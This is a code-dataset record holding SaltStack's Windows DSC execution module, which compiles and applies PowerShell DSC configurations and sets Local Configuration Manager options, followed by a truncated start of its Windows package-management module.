unicode_literals\n\n# Import python libs\nimport logging\nimport json\nimport os\nimport distutils.version\n\n# Import salt libs\nimport salt.utils\nfrom salt.exceptions import CommandExecutionError, SaltInvocationError\n\n# Set up logging\nlog = logging.getLogger(__name__)\n\n# Define the module's virtual name\n__virtualname__ = 'dsc'\n\n\ndef __virtual__():\n '''\n Set the system module of the kernel is Windows\n '''\n # Verify Windows\n if not salt.utils.is_windows():\n return False, 'Module DSC: Only available on Windows systems'\n\n # Verify PowerShell 5.0\n powershell_info = __salt__['cmd.shell_info']('powershell')\n if not powershell_info['installed']:\n return False, 'Module DSC: Powershell not available'\n\n if distutils.version.StrictVersion(powershell_info['version']) < \\\n distutils.version.StrictVersion('5.0'):\n return False, 'Module DSC: Requires Powershell 5 or later'\n\n return __virtualname__\n\n\ndef _pshell(cmd, cwd=None, json_depth=2):\n '''\n Execute the desired powershell command and ensure that it returns data\n in json format and load that into python\n '''\n if 'convertto-json' not in cmd.lower():\n cmd = '{0} | ConvertTo-Json -Depth {1}'.format(cmd, json_depth)\n log.debug('DSC: {0}'.format(cmd))\n results = __salt__['cmd.run_all'](\n cmd, shell='powershell', cwd=cwd, python_shell=True)\n\n if 'pid' in results:\n del results['pid']\n\n if 'retcode' not in results or results['retcode'] != 0:\n # run_all logs an error to log.error, fail hard back to the user\n raise CommandExecutionError(\n 'Issue executing powershell {0}'.format(cmd), info=results)\n\n try:\n ret = json.loads(results['stdout'], strict=False)\n except ValueError:\n raise CommandExecutionError(\n 'No JSON results from powershell', info=results)\n\n return ret\n\n\ndef run_config(path, source=None, config=None, salt_env='base'):\n r'''\n Compile a DSC Configuration in the form of a powershell script (.ps1) and\n apply it. The powershell script can be cached from the master using the\n ``source`` option. If there is more than one config within the powershell\n script, the desired configuration can be applied by passing the name in the\n ``config`` option.\n\n This command would be the equivalent of running ``dsc.compile_config`` and\n ``dsc.apply_config`` separately.\n\n :param str path: The local path to the powershell script that contains the\n DSC Configuration.\n Required.\n\n :param str source: The path to the script on ``file_roots`` to cache at the\n location specified by ``path``. The source file will be cached locally and\n then executed. If source is not passed, the config script located at\n ``path`` will be compiled.\n Optional.\n\n :param str config: The name of the Configuration within the script to apply.\n If the script contains multiple configurations within the file a config\n must be specified. If the config is not specified, the name of the file will\n be used as the config to run.\n Optional.\n\n :param str salt_env: The salt environment to use when copying the source.\n Default is 'base'\n\n :return: True if successfully compiled and applied, False if not\n :rtype: bool\n\n CLI Example:\n\n To compile a config from a script that already exists on the system:\n\n .. code-block:: bash\n\n salt '*' dsc.compile_apply_config C:\\\\DSC\\\\WebsiteConfig.ps1\n\n To cache a config script to the system from the master and compile it:\n\n .. code-block:: bash\n\n salt '*' dsc.compile_apply_config C:\\\\DSC\\\\WebsiteConfig.ps1 salt://dsc/configs/WebsiteConfig.ps1\n '''\n ret = compile_config(path, source, config, salt_env)\n\n if ret.get('Exists'):\n config_path = os.path.dirname(ret['FullName'])\n return apply_config(config_path)\n else:\n return False\n\n\ndef compile_config(path, source=None, config=None, salt_env='base'):\n r'''\n Compile a config from a powershell script (``.ps1``)\n\n :param str path: Path (local) to the script that will create the ``.mof``\n configuration file. If no source is passed, the file must exist locally.\n Required.\n\n :param str source: Path to the script on ``file_roots`` to cache at the\n location specified by ``path``. The source file will be cached locally and\n then executed. If source is not passed, the config script located at\n ``path`` will be compiled.\n Optional.\n\n :param str config: The name of the Configuration within the script to apply.\n If the script contains multiple configurations within the file a config\n must be specified. If the config is not specified, the name of the file will\n be used as the config to run.\n Optional.\n\n :param str salt_env: The salt environment to use when copying the source.\n Default is 'base'\n\n :return: A dictionary containing the results of the compilation\n :rtype: dict\n\n CLI Example:\n\n To compile a config from a script that already exists on the system:\n\n .. code-block:: bash\n\n salt '*' dsc.compile_config C:\\\\DSC\\\\WebsiteConfig.ps1\n\n To cache a config script to the system from the master and compile it:\n\n .. code-block:: bash\n\n salt '*' dsc.compile_config C:\\\\DSC\\\\WebsiteConfig.ps1 salt://dsc/configs/WebsiteConfig.ps1\n '''\n if source:\n log.info('Caching {0}'.format(source))\n cached_files = __salt__['cp.get_file'](path=source,\n dest=path,\n saltenv=salt_env,\n makedirs=True)\n if not cached_files:\n error = 'Failed to cache {0}'.format(source)\n log.error(error)\n raise CommandExecutionError(error)\n\n # Make sure the path exists\n if not os.path.exists(path):\n error = '\"{0} not found.'.format(path)\n log.error(error)\n raise CommandExecutionError(error)\n\n if config is None:\n # If the name of the config isn't passed, make it the name of the .ps1\n config = os.path.splitext(os.path.basename(path))[0]\n\n cwd = os.path.dirname(path)\n\n # Run the script and see if the compile command is in the script\n cmd = '{0} '.format(path)\n cmd += '| Select-Object -Property FullName, Extension, Exists, ' \\\n '@{Name=\"LastWriteTime\";Expression={Get-Date ($_.LastWriteTime) ' \\\n '-Format g}}'\n\n ret = _pshell(cmd, cwd)\n\n if ret:\n # Script compiled, return results\n if ret.get('Exists'):\n log.info('DSC Compile Config: {0}'.format(ret))\n return ret\n\n # Run the script and run the compile command\n cmd = '. {0} ; {1} '.format(path, config)\n cmd += '| Select-Object -Property FullName, Extension, Exists, ' \\\n '@{Name=\"LastWriteTime\";Expression={Get-Date ($_.LastWriteTime) ' \\\n '-Format g}}'\n\n ret = _pshell(cmd, cwd)\n\n if ret:\n # Script compiled, return results\n if ret.get('Exists'):\n log.info('DSC Compile Config: {0}'.format(ret))\n return ret\n\n error = 'Failed to compile config: {0}'.format(path)\n error += '\\nReturned: {0}'.format(ret)\n log.error('DSC Compile Config: {0}'.format(error))\n raise CommandExecutionError(error)\n\n\ndef apply_config(path, source=None, salt_env='base'):\n r'''\n Run an compiled DSC configuration (a folder containing a .mof file). The\n folder can be cached from the salt master using the ``source`` option.\n\n :param str path: Local path to the directory that contains the .mof\n configuration file to apply.\n Required.\n\n :param str source: Path to the directory that contains the .mof file on the\n ``file_roots``. The source directory will be copied to the path directory\n and then executed. If the path and source directories differ, the source\n directory will be applied. If source is not passed, the config located at\n ``path`` will be applied.\n Optional.\n\n :param str salt_env: The salt environment to use when copying your source.\n Default is 'base'\n\n :return: True if successful, otherwise False\n :rtype: bool\n\n CLI Example:\n\n To apply a config that already exists on the the system\n\n .. code-block:: bash\n\n salt '*' dsc.run_config C:\\\\DSC\\\\WebSiteConfiguration\n\n To cache a configuration from the master and apply it:\n\n .. code-block:: bash\n\n salt '*' dsc.run_config C:\\\\DSC\\\\WebSiteConfiguration salt://dsc/configs/WebSiteConfiguration\n\n '''\n # If you're getting an error along the lines of \"The client cannot connect\n # to the destination specified in the request.\", try the following:\n # Enable-PSRemoting -SkipNetworkProfileCheck\n config = path\n if source:\n # Make sure the folder names match\n path_name = os.path.basename(os.path.normpath(path))\n source_name = os.path.basename(os.path.normpath(source))\n if path_name.lower() != source_name.lower():\n # Append the Source name to the Path\n path = '{0}\\\\{1}'.format(path, source_name)\n log.debug('{0} appended to the path.'.format(source_name))\n\n # Destination path minus the basename\n dest_path = os.path.dirname(os.path.normpath(path))\n log.info('Caching {0}'.format(source))\n cached_files = __salt__['cp.get_dir'](source, dest_path, salt_env)\n if not cached_files:\n error = 'Failed to copy {0}'.format(source)\n log.error(error)\n raise CommandExecutionError(error)\n else:\n config = os.path.dirname(cached_files[0])\n\n # Make sure the path exists\n if not os.path.exists(config):\n error = '{0} not found.'.format(config)\n log.error(error)\n raise CommandExecutionError(error)\n\n # Run the DSC Configuration\n # Putting quotes around the parameter protects against command injection\n cmd = 'Start-DscConfiguration -Path \"{0}\" -Wait -Force'.format(config)\n ret = _pshell(cmd)\n\n if ret is False:\n raise CommandExecutionError('Apply Config Failed: {0}'.format(path))\n\n cmd = '$status = Get-DscConfigurationStatus; $status.Status'\n ret = _pshell(cmd)\n log.info('DSC Apply Config: {0}'.format(ret))\n\n return ret == 'Success'\n\n\ndef get_config():\n '''\n Get the current DSC Configuration\n\n :return: A dictionary representing the DSC Configuration on the machine\n :rtype: dict\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' dsc.get_config\n '''\n cmd = 'Get-DscConfiguration | ' \\\n 'Select-Object * -ExcludeProperty Cim*'\n return _pshell(cmd)\n\n\ndef test_config():\n '''\n Tests the current applied DSC Configuration\n\n :return: True if successfully applied, otherwise False\n :rtype: bool\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' dsc.test_config\n '''\n cmd = 'Test-DscConfiguration *>&1'\n ret = _pshell(cmd)\n return ret == 'True'\n\n\ndef get_config_status():\n '''\n Get the status of the current DSC Configuration\n\n :return: A dictionary representing the status of the current DSC\n Configuration on the machine\n :rtype: dict\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' dsc.get_config_status\n '''\n cmd = 'Get-DscConfigurationStatus | ' \\\n 'Select-Object -Property HostName, Status, MetaData, ' \\\n '@{Name=\"StartDate\";Expression={Get-Date ($_.StartDate) -Format g}}, ' \\\n 'Type, Mode, RebootRequested, NumberofResources'\n return _pshell(cmd)\n\n\ndef get_lcm_config():\n '''\n Get the current Local Configuration Manager settings\n\n :return: A dictionary representing the Local Configuration Manager settings\n on the machine\n :rtype: dict\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' dsc.get_lcm_config\n '''\n cmd = 'Get-DscLocalConfigurationManager | ' \\\n 'Select-Object -Property ConfigurationModeFrequencyMins, LCMState, ' \\\n 'RebootNodeIfNeeded, ConfigurationMode, ActionAfterReboot, ' \\\n 'RefreshMode, CertificateID, ConfigurationID, RefreshFrequencyMins, ' \\\n 'AllowModuleOverwrite, DebugMode, StatusRetentionTimeInDays '\n return _pshell(cmd)\n\n\ndef set_lcm_config(config_mode=None,\n config_mode_freq=None,\n refresh_freq=None,\n reboot_if_needed=None,\n action_after_reboot=None,\n refresh_mode=None,\n certificate_id=None,\n configuration_id=None,\n allow_module_overwrite=None,\n debug_mode=False,\n status_retention_days=None):\n '''\n\n For detailed descriptions of the parameters see:\n https://msdn.microsoft.com/en-us/PowerShell/DSC/metaConfig\n\n :param str config_mode: How the LCM applies the configuration. Valid values\n are:\n - ApplyOnly\n - ApplyAndMonitor\n - ApplyAndAutoCorrect\n\n :param int config_mode_freq: How often, in minutes, the current\n configuration is checked and applied. Ignored if config_mode is set to\n ApplyOnly. Default is 15.\n\n :param str refresh_mode: How the LCM gets configurations. Valid values are:\n - Disabled\n - Push\n - Pull\n\n :param int refresh_freq: How often, in minutes, the LCM checks for updated\n configurations. (pull mode only) Default is 30.\n\n .. note:: Either `config_mode_freq` or `refresh_freq` needs to be a multiple\n of the other. See documentation on MSDN for more details.\n\n :param bool reboot_if_needed: Reboot the machine if needed after a\n configuration is applied. Default is False.\n\n :param str action_after_reboot: Action to take after reboot. Valid values\n are:\n - ContinueConfiguration\n - StopConfiguration\n\n :param guid certificate_id: A GUID that specifies a certificate used to\n access the configuration: (pull mode)\n\n :param guid configuration_id: A GUID that identifies the config file to get\n from a pull server. (pull mode)\n\n :param bool allow_module_overwrite: New configs are allowed to overwrite old\n ones on the target node.\n\n :param str debug_mode: Sets the debug level. Valid values are:\n - None\n - ForceModuleImport\n - All\n\n :param int status_retention_days: Number of days to keep status of the\n current config.\n\n Returns (bool): True if successful, otherwise False\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' dsc.set_lcm_config ApplyOnly\n '''\n cmd = 'Configuration SaltConfig {'\n cmd += ' Node localhost {'\n cmd += ' LocalConfigurationManager {'\n if config_mode:\n if config_mode not in ('ApplyOnly', 'ApplyAndMonitor',\n 'ApplyAndAutoCorrect'):\n error = 'config_mode must be one of ApplyOnly, ApplyAndMonitor, ' \\\n 'or ApplyAndAutoCorrect. Passed {0}'.format(config_mode)\n SaltInvocationError(error)\n return error\n cmd += ' ConfigurationMode = \"{0}\";'.format(config_mode)\n if config_mode_freq:\n if isinstance(config_mode_freq, int):\n SaltInvocationError('config_mode_freq must be an integer')\n return 'config_mode_freq must be an integer. Passed {0}'.\\\n format(config_mode_freq)\n cmd += ' ConfigurationModeFrequencyMins = {0};'.format(config_mode_freq)\n if refresh_mode:\n if refresh_mode not in ('Disabled', 'Push', 'Pull'):\n SaltInvocationError('refresh_mode must be one of Disabled, Push, '\n 'or Pull')\n cmd += ' RefreshMode = \"{0}\";'.format(refresh_mode)\n if refresh_freq:\n if isinstance(refresh_freq, int):\n SaltInvocationError('refresh_freq must be an integer')\n cmd += ' RefreshFrequencyMins = {0};'.format(refresh_freq)\n if reboot_if_needed is not None:\n if not isinstance(reboot_if_needed, bool):\n SaltInvocationError('reboot_if_needed must be a boolean value')\n if reboot_if_needed:\n reboot_if_needed = '$true'\n else:\n reboot_if_needed = '$false'\n cmd += ' RebootNodeIfNeeded = {0};'.format(reboot_if_needed)\n if action_after_reboot:\n if action_after_reboot not in ('ContinueConfiguration',\n 'StopConfiguration'):\n SaltInvocationError('action_after_reboot must be one of '\n 'ContinueConfiguration or StopConfiguration')\n cmd += ' ActionAfterReboot = \"{0}\"'.format(action_after_reboot)\n if certificate_id is not None:\n if certificate_id == '':\n certificate_id = None\n cmd += ' CertificateID = \"{0}\";'.format(certificate_id)\n if configuration_id is not None:\n if configuration_id == '':\n configuration_id = None\n cmd += ' ConfigurationID = \"{0}\";'.format(configuration_id)\n if allow_module_overwrite is not None:\n if not isinstance(allow_module_overwrite, bool):\n SaltInvocationError('allow_module_overwrite must be a boolean value')\n if allow_module_overwrite:\n allow_module_overwrite = '$true'\n else:\n allow_module_overwrite = '$false'\n cmd += ' AllowModuleOverwrite = {0};'.format(allow_module_overwrite)\n if debug_mode is not False:\n if debug_mode is None:\n debug_mode = 'None'\n if debug_mode not in ('None', 'ForceModuleImport', 'All'):\n SaltInvocationError('debug_mode must be one of None, '\n 'ForceModuleImport, ResourceScriptBreakAll, or '\n 'All')\n cmd += ' DebugMode = \"{0}\";'.format(debug_mode)\n if status_retention_days:\n if isinstance(status_retention_days, int):\n SaltInvocationError('status_retention_days must be an integer')\n cmd += ' StatusRetentionTimeInDays = {0};'.format(status_retention_days)\n cmd += ' }}};'\n cmd += r'SaltConfig -OutputPath \"C:\\DSC\\SaltConfig\"'\n\n # Execute Config to create the .mof\n _pshell(cmd)\n\n # Apply the config\n cmd = r'Set-DscLocalConfigurationManager -Path \"C:\\DSC\\SaltConfig\"'\n ret = _pshell(cmd)\n if not ret:\n log.info('LCM config applied successfully')\n return True\n else:\n log.error('Failed to apply LCM config. Error {0}'.format(ret))\n return False\n", "id": "2724618", "language": "Python", "matching_score": 4.979084491729736, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/modules/win_dsc.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nA module to manage software on Windows\n\n.. important::\n If you feel that Salt should be using this module to manage packages on a\n minion, and it is using a different module (or gives an error similar to\n *'pkg.install' is not available*), see :ref:`here\n <module-provider-override>`.\n\nThe following functions require the existence of a :ref:`windows repository\n<windows-package-manager>` metadata DB, typically created by running\n:py:func:`pkg.refresh_db <salt.modules.win_pkg.refresh_db>`:\n\n- :py:func:`pkg.get_repo_data <salt.modules.win_pkg.get_repo_data>`\n- :py:func:`pkg.install <salt.modules.win_pkg.install>`\n- :py:func:`pkg.latest_version <salt.modules.win_pkg.latest_version>`\n- :py:func:`pkg.list_available <salt.modules.win_pkg.list_available>`\n- :py:func:`pkg.list_pkgs <salt.modules.win_pkg.list_pkgs>`\n- :py:func:`pkg.list_upgrades <salt.modules.win_pkg.list_upgrades>`\n- :py:func:`pkg.remove <salt.modules.win_pkg.remove>`\n\nIf a metadata DB does not already exist and one of these functions is run, then\none will be created from the repo SLS files that are present.\n\nAs the creation of this metadata can take some time, the\n:conf_minion:`winrepo_cache_expire_min` minion config option can be used to\nsuppress refreshes when the metadata is less than a given number of seconds\nold.\n'''\n\n# Import python future libs\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\nimport collections\nimport datetime\nimport errno\nimport logging\nimport os\nimport re\nimport time\nfrom distutils.version import LooseVersion # pylint: disable=import-error,no-name-in-module\n\n# Import third party libs\nimport salt.ext.six as six\n# pylint: disable=import-error,no-name-in-module\nfrom salt.ext.six.moves.urllib.parse import urlparse as _urlparse\n# pylint: disable=import-error\ntry:\n import msgpack\nexcept ImportError:\n import msgpack_pure as msgpack\n# pylint: enable=import-error\n\n# Import salt libs\nfrom salt.exceptions import (CommandExecutionError,\n SaltInvocationError,\n SaltRenderError)\nimport salt.utils\nimport salt.syspaths\nfrom salt.exceptions import MinionError\n\nlog = logging.getLogger(__name__)\n\n# Define the module's virtual name\n__virtualname__ = 'pkg'\n\n\ndef __virtual__():\n '''\n Set the virtual pkg module if the os is Windows\n '''\n if salt.utils.is_windows():\n return __virtualname__\n return (False, \"Module win_pkg: module only works on Windows systems\")\n\n\ndef latest_version(*names, **kwargs):\n '''\n Return the latest version of the named package available for upgrade or\n installation. If more than one package name is specified, a dict of\n name/version pairs is returned.\n\n If the latest version of a given package is already installed, an empty\n string will be returned for that package.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.latest_version <package name>\n salt '*' pkg.latest_version <package1> <package2> <package3> ...\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: Salt environment. Default ``base``\n :param bool refresh: Refresh package metadata. Default ``True``\n '''\n if len(names) == 0:\n return ''\n\n # Initialize the return dict with empty strings\n ret = {}\n for name in names:\n ret[name] = ''\n\n saltenv = kwargs.get('saltenv', 'base')\n # Refresh before looking for the latest version available\n refresh = salt.utils.is_true(kwargs.get('refresh', True))\n # no need to call _refresh_db_conditional as list_pkgs will do it\n\n installed_pkgs = list_pkgs(versions_as_list=True, saltenv=saltenv, refresh=refresh)\n log.trace('List of installed packages: {0}'.format(installed_pkgs))\n\n # iterate over all requested package names\n for name in names:\n latest_installed = '0'\n latest_available = '0'\n\n # get latest installed version of package\n if name in installed_pkgs:\n log.trace('Determining latest installed version of %s', name)\n try:\n latest_installed = sorted(\n installed_pkgs[name], cmp=_reverse_cmp_pkg_versions).pop()\n except IndexError:\n log.warning(\n '%s was empty in pkg.list_pkgs return data, this is '\n 'probably a bug in list_pkgs', name\n )\n else:\n log.debug('Latest installed version of %s is %s',\n name, latest_installed)\n\n # get latest available (from winrepo_dir) version of package\n pkg_info = _get_package_info(name, saltenv=saltenv)\n log.trace('Raw winrepo pkg_info for {0} is {1}'.format(name, pkg_info))\n latest_available = _get_latest_pkg_version(pkg_info)\n if latest_available:\n log.debug('Latest available version '\n 'of package {0} is {1}'.format(name, latest_available))\n\n # check, whether latest available version\n # is newer than latest installed version\n if salt.utils.compare_versions(ver1=str(latest_available),\n oper='>',\n ver2=str(latest_installed)):\n log.debug('Upgrade of {0} from {1} to {2} '\n 'is available'.format(name,\n latest_installed,\n latest_available))\n ret[name] = latest_available\n else:\n log.debug('No newer version than {0} of {1} '\n 'is available'.format(latest_installed, name))\n if len(names) == 1:\n return ret[names[0]]\n return ret\n\n\ndef upgrade_available(name, **kwargs):\n '''\n Check whether or not an upgrade is available for a given package\n\n :param name: The name of a single package\n :return: Return True if newer version available\n :rtype: bool\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: Salt environment\n :param bool refresh: Refresh package metadata. Default ``True``\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.upgrade_available <package name>\n '''\n saltenv = kwargs.get('saltenv', 'base')\n # Refresh before looking for the latest version available,\n # same default as latest_version\n refresh = salt.utils.is_true(kwargs.get('refresh', True))\n\n return latest_version(name, saltenv=saltenv, refresh=refresh) != ''\n\n\ndef list_upgrades(refresh=True, **kwargs): # pylint: disable=W0613\n '''\n List all available package upgrades on this system\n\n :param bool refresh: Refresh package metadata. Default ``True``\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: Salt environment. Default ``base``\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.list_upgrades\n '''\n saltenv = kwargs.get('saltenv', 'base')\n refresh = salt.utils.is_true(refresh)\n _refresh_db_conditional(saltenv, force=refresh)\n\n ret = {}\n for name, data in six.iteritems(get_repo_data(saltenv).get('repo', {})):\n if version(name):\n latest = latest_version(name, refresh=False, saltenv=saltenv)\n if latest:\n ret[name] = latest\n return ret\n\n\ndef list_available(*names, **kwargs):\n '''\n Return a list of available versions of the specified package.\n\n :param str name: One or more package names\n :return:\n For multiple package names listed returns dict of package names and versions\n For single package name returns a version string\n :rtype: dict or string\n .. code-block:: cfg\n {'<package name>': ['<version>', '<version>', ]}\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: The salt environment to use. Default ``base``.\n :param bool refresh: Refresh package metadata. Default ``True``.\n :param bool return_dict_always: Default ``False`` dict when a single package name is queried.\n\n CLI Example:\n .. code-block:: bash\n salt '*' pkg.list_available <package name> return_dict_always=True\n salt '*' pkg.list_available <package name01> <package name02>\n '''\n if not names:\n return ''\n\n saltenv = kwargs.get('saltenv', 'base')\n refresh = salt.utils.is_true(kwargs.get('refresh', False))\n _refresh_db_conditional(saltenv, force=refresh)\n return_dict_always = \\\n salt.utils.is_true(kwargs.get('return_dict_always', False))\n if len(names) == 1 and not return_dict_always:\n pkginfo = _get_package_info(names[0], saltenv=saltenv)\n if not pkginfo:\n return ''\n versions = list(pkginfo.keys())\n versions = sorted(versions, cmp=_reverse_cmp_pkg_versions)\n else:\n versions = {}\n for name in names:\n pkginfo = _get_package_info(name, saltenv=saltenv)\n if not pkginfo:\n continue\n verlist = list(pkginfo.keys()) if pkginfo else []\n verlist = sorted(verlist, cmp=_reverse_cmp_pkg_versions)\n versions[name] = verlist\n return versions\n\n\ndef version(*names, **kwargs):\n '''\n Returns a version if the package is installed, else returns an empty string\n\n :param str name: One or more package names\n :return:\n For multiple package names listed returns dict of package names and current version\n For single package name returns a current version string\n :rtype: dict or string\n .. code-block:: cfg\n {'<package name>': ['<version>', '<version>', ]}\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: The salt environment to use. Default ``base``.\n :param bool refresh: Refresh package metadata. Default ``False``.\n\n CLI Example:\n .. code-block:: bash\n salt '*' pkg.version <package name>\n salt '*' pkg.version <package name01> <package name02>\n '''\n # pkg_resource calls list_pkgs refresh kwargs will be passed on\n ret = {}\n if len(names) == 1:\n val = __salt__['pkg_resource.version'](*names, **kwargs)\n if len(val):\n return val\n return ''\n if len(names) > 1:\n reverse_dict = {}\n nums = __salt__['pkg_resource.version'](*names, **kwargs)\n if len(nums):\n for num, val in six.iteritems(nums):\n if len(val) > 0:\n try:\n ret[reverse_dict[num]] = val\n except KeyError:\n ret[num] = val\n return ret\n return dict([(x, '') for x in names])\n return ret\n\n\ndef list_pkgs(versions_as_list=False, **kwargs):\n '''\n List the packages currently installed in a dict::\n\n *Keyword Arguments (kwargs)*\n :param str saltenv: The salt environment to use. Default ``base``.\n :param bool refresh: Refresh package metadata. Default ``False`.\n\n {'<package_name>': '<version>'}\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.list_pkgs\n salt '*' pkg.list_pkgs versions_as_list=True\n '''\n versions_as_list = salt.utils.is_true(versions_as_list)\n # not yet implemented or not applicable\n if any([salt.utils.is_true(kwargs.get(x))\n for x in ('removed', 'purge_desired')]):\n return {}\n saltenv = kwargs.get('saltenv', 'base')\n refresh = salt.utils.is_true(kwargs.get('refresh', False))\n _refresh_db_conditional(saltenv, force=refresh)\n\n ret = {}\n name_map = _get_name_map(saltenv)\n for pkg_name, val in six.iteritems(_get_reg_software()):\n if pkg_name in name_map:\n key = name_map[pkg_name]\n if val in ['(value not set)', 'Not Found', None, False]:\n # Look up version from winrepo\n pkg_info = _get_package_info(key, saltenv=saltenv)\n if not pkg_info:\n continue\n for pkg_ver in pkg_info.keys():\n if pkg_info[pkg_ver]['full_name'] == pkg_name:\n val = pkg_ver\n else:\n key = pkg_name\n __salt__['pkg_resource.add_pkg'](ret, key, val)\n\n __salt__['pkg_resource.sort_pkglist'](ret)\n if not versions_as_list:\n __salt__['pkg_resource.stringify'](ret)\n return ret\n\n\ndef _search_software(target):\n '''\n This searches the msi product databases for name matches\n of the list of target products, it will return a dict with\n values added to the list passed in\n '''\n search_results = {}\n software = dict(_get_reg_software().items())\n for key, value in six.iteritems(software):\n if key is not None:\n if target.lower() in key.lower():\n search_results[key] = value\n return search_results\n\n\ndef _get_reg_software():\n '''\n This searches the uninstall keys in the registry to find\n a match in the sub keys, it will return a dict with the\n display name as the key and the version as the value\n '''\n ignore_list = ['AddressBook',\n 'Connection Manager',\n 'DirectDrawEx',\n 'Fontcore',\n 'IE40',\n 'IE4Data',\n 'IE5BAKEX',\n 'IEData',\n 'MobileOptionPack',\n 'SchedulingAgent',\n 'WIC',\n 'Not Found',\n '(value not set)',\n '',\n None]\n #encoding = locale.getpreferredencoding()\n reg_software = {}\n\n hive = 'HKLM'\n key = \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\"\n\n def update(hive, key, reg_key, use_32bit):\n\n d_name = ''\n d_vers = ''\n\n d_name = __salt__['reg.read_value'](hive,\n '{0}\\\\{1}'.format(key, reg_key),\n 'DisplayName',\n use_32bit)['vdata']\n\n d_vers = __salt__['reg.read_value'](hive,\n '{0}\\\\{1}'.format(key, reg_key),\n 'DisplayVersion',\n use_32bit)['vdata']\n\n if d_name not in ignore_list:\n # some MS Office updates don't register a product name which means\n # their information is useless\n reg_software.update({d_name: d_vers})\n\n for reg_key in __salt__['reg.list_keys'](hive, key):\n update(hive, key, reg_key, False)\n\n for reg_key in __salt__['reg.list_keys'](hive, key, True):\n update(hive, key, reg_key, True)\n\n return reg_software\n\n\ndef _refresh_db_conditional(saltenv, **kwargs):\n '''\n Internal use only in this module, has a different set of defaults and\n returns True or False. And supports check the age of the existing\n generated metadata db, as well as ensure metadata db exists to begin with\n\n :param str saltenv: Salt environment\n :return: True Fetched or Cache uptodate, False to indicate an issue\n :rtype: bool\n\n :codeauthor: <NAME> <https://github.com/damon-atkins>\n '''\n force = salt.utils.is_true(kwargs.pop('force', False))\n failhard = salt.utils.is_true(kwargs.pop('failhard', False))\n expired_max = __opts__['winrepo_cache_expire_max']\n expired_min = __opts__['winrepo_cache_expire_min']\n\n repo_details = _get_repo_details(saltenv)\n\n # Skip force if age less than minimum age\n if force and expired_min > 0 and repo_details.winrepo_age < expired_min:\n log.info(\n 'Refresh skipped, age of winrepo metadata in seconds (%s) is less '\n 'than winrepo_cache_expire_min (%s)',\n repo_details.winrepo_age, expired_min\n )\n force = False\n\n # winrepo_age is -1 if repo db does not exist\n refresh = True if force \\\n or repo_details.winrepo_age == -1 \\\n or repo_details.winrepo_age > expired_max \\\n else False\n\n if not refresh:\n log.debug(\n 'Using existing pkg metadata db for saltenv \\'%s\\' (age is %s)',\n saltenv, datetime.timedelta(seconds=repo_details.winrepo_age)\n )\n return True\n\n if repo_details.winrepo_age == -1:\n # no repo meta db\n log.debug(\n 'No winrepo.p cache file for saltenv \\'%s\\', creating one now',\n saltenv\n )\n\n results = refresh_db(saltenv=saltenv, verbose=False, failhard=failhard)\n try:\n # Return True if there were no failed winrepo SLS files, and False if\n # failures were reported.\n return not bool(results.get('failed', 0))\n except AttributeError:\n return False\n\n\ndef refresh_db(**kwargs):\n '''\n Fectches metadata files and calls :py:func:`pkg.genrepo\n <salt.modules.win_pkg.genrepo>` to compile updated repository metadata.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' pkg.refresh_db\n salt '*' pkg.refresh_db saltenv=base\n '''\n saltenv = kwargs.pop('saltenv', 'base')\n verbose = salt.utils.is_true(kwargs.pop('verbose', False))\n failhard = salt.utils.is_true(kwargs.pop('failhard', True))\n __context__.pop('winrepo.data', None)\n repo_details = _get_repo_details(saltenv)\n\n log.debug(\n 'Refreshing pkg metadata db for saltenv \\'%s\\' (age of existing '\n 'metadata is %s)',\n saltenv, datetime.timedelta(seconds=repo_details.winrepo_age)\n )\n\n # Clear minion repo-ng cache see #35342 discussion\n log.info('Removing all *.sls files under \\'%s\\'', repo_details.local_dest)\n failed = []\n for root, _, files in os.walk(repo_details.local_dest, followlinks=False):\n for name in files:\n if name.endswith('.sls'):\n full_filename = os.path.join(root, name)\n try:\n os.remove(full_filename)\n except OSError as exc:\n if exc.errno != errno.ENOENT:\n log.error('Failed to remove %s: %s', full_filename, exc)\n failed.append(full_filename)\n if failed:\n raise CommandExecutionError(\n 'Failed to clear one or more winrepo cache files',\n info={'failed': failed}\n )\n\n # Cache repo-ng locally\n cached_files = __salt__['cp.cache_dir'](\n repo_details.winrepo_source_dir,\n saltenv,\n include_pat='*.sls'\n )\n\n return genrepo(saltenv=saltenv, verbose=verbose, failhard=failhard)\n\n\ndef _get_repo_details(saltenv):\n '''\n Return repo details for the specified saltenv as a namedtuple\n '''\n contextkey = 'winrepo._get_repo_details.{0}'.format(saltenv)\n\n if contextkey in __context__:\n (winrepo_source_dir, local_dest, winrepo_file) = __context__[contextkey]\n else:\n if 'win_repo_source_dir' in __opts__:\n salt.utils.warn_until(\n 'Nitrogen',\n 'The \\'win_repo_source_dir\\' config option is deprecated, '\n 'please use \\'winrepo_source_dir\\' instead.'\n )\n winrepo_source_dir = __opts__['win_repo_source_dir']\n else:\n winrepo_source_dir = __opts__['winrepo_source_dir']\n\n dirs = [__opts__['cachedir'], 'files', saltenv]\n url_parts = _urlparse(winrepo_source_dir)\n dirs.append(url_parts.netloc)\n dirs.extend(url_parts.path.strip('/').split('/'))\n local_dest = os.sep.join(dirs)\n\n winrepo_file = os.path.join(local_dest, 'winrepo.p') # Default\n # Check for a valid windows file name\n if not re.search(r'[\\/:*?\"<>|]',\n __opts__['winrepo_cachefile'],\n flags=re.IGNORECASE):\n winrepo_file = os.path.join(\n local_dest,\n __opts__['winrepo_cachefile']\n )\n else:\n log.error(\n 'minion cofiguration option \\'winrepo_cachefile\\' has been '\n 'ignored as its value (%s) is invalid. Please ensure this '\n 